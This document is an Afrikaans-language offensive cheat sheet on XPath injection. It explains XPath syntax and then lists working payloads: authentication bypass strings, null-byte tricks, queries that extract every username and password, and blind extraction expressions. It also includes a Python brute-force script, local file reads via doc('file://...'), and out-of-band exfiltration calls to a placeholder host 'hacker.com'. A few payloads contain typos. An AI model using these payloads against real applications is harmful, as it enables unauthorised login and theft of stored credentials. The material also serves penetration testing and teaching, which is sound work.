XPATH-inspuiting

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Basiese Sintaksis

'n Aanvalstegniek bekend as XPath-inspuiting word gebruik om voordeel te trek uit toepassings wat XPath (XML Pad Taal) navrae vorm op grond van gebruikersinvoer om XML-dokumente te navigeer of te ondervra.

Nodes Beskryf

Uitdrukkings word gebruik om verskillende nodes in 'n XML-dokument te kies. Hierdie uitdrukkings en hul beskrywings word hieronder saamgevat:

• nodename: Alle nodes met die naam "nodename" word gekies.
• /: Keuse word gemaak vanaf die wortelnode.
• //: Nodes wat ooreenstem met die keuse vanaf die huidige node word gekies, ongeag hul ligging in die dokument.
• .: Die huidige node word gekies.
• ..: Die ouer van die huidige node word gekies.
• @: Attribuut word gekies.

XPath Voorbeelde

Voorbeelde van paduitdrukkings en hul resultate sluit in:

• bookstore: Alle nodes met die naam "bookstore" word gekies.
• /bookstore: Die wortelelement bookstore word gekies. Dit word opgemerk dat 'n absolute pad na 'n element voorgestel word deur 'n pad wat met 'n skuinsstreep (/) begin.
• bookstore/book: Alle boekelemente wat kinders van bookstore is, word gekies.
• //book: Alle boekelemente in die dokument word gekies, ongeag hul ligging.
• bookstore//book: Alle boekelemente wat afstammelinge van die bookstore-element is, word gekies, maak nie saak hul posisie onder die bookstore-element nie.
• //@lang: Alle attribuut met die naam lang word gekies.

Gebruik van Predikate

Predikate word gebruik om keuses te verfyn:

• /bookstore/book[1]: Die eerste boekelement-kind van die bookstore-element word gekies. 'n Oplossing vir IE weergawes 5 tot 9, wat die eerste node as [0] indekseer, is om die SelectionLanguage na XPath deur JavaScript te stel.
• /bookstore/book[last()]: Die laaste boekelement-kind van die bookstore-element word gekies.
• /bookstore/book[last()-1]: Die voorlaaste boekelement-kind van die bookstore-element word gekies.
• /bookstore/book[position()<3]: Die eerste twee boekelemente kinders van die bookstore-element word gekies.
• //title[@lang]: Alle title-elemente met 'n lang-attribuut word gekies.
• //title[@lang='en']: Alle title-elemente met 'n "lang" attribuutwaarde van "en" word gekies.
• /bookstore/book[price>35.00]: Alle boekelemente van die bookstore met 'n prys groter as 35.00 word gekies.
• /bookstore/book[price>35.00]/title: Alle title-elemente van die boekelemente van die bookstore met 'n prys groter as 35.00 word gekies.

Hantering van Onbekende Nodes

Wildcardteken word gebruik om onbekende nodes te pas:

• *: Pas enige elementnode.
• @*: Pas enige attribuutnode.
• node(): Pas enige node van enige soort.

Verder voorbeelde sluit in:

• /bookstore/*: Kies alle kindelementnodes van die bookstore-element.
• //*: Kies alle elemente in die dokument.
• //title[@*]: Kies alle title-elemente met ten minste een attribuut van enige soort.

Voorbeeld

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Toegang tot die inligting

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identifiseer & steel die skema

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Outentigingsomseiling

Voorbeeld van navrae:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OF omseil in gebruiker en wagwoord (dieselfde waarde in albei)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Misbruik van null-inspuiting

Username: ' or 1]%00

Dubbele OF in gebruikersnaam of in wagwoord (is geldig met slegs 1 kwesbare veld)

BELANGRIJK: Let daarop dat die "en" die eerste operasie is wat gedoen word.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

String ekstraksie

Die uitvoer bevat stringe en die gebruiker kan die waardes manipuleer om te soek:

/user/username[contains(., '+VALUE+')]

') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Blind Explotation

Kry die lengte van 'n waarde en ekstraheer dit deur vergelykings:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Python Voorbeeld

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Lees lêer

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB Exploitatie

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Outomatiese hulpmiddel

• xcat
• xxxpwn
• xxxpwn_smart
• xpath-blind-explorer
• XmlChor

Verwysings

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
• https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)
• https://www.w3schools.com/xml/xpath_syntax.asp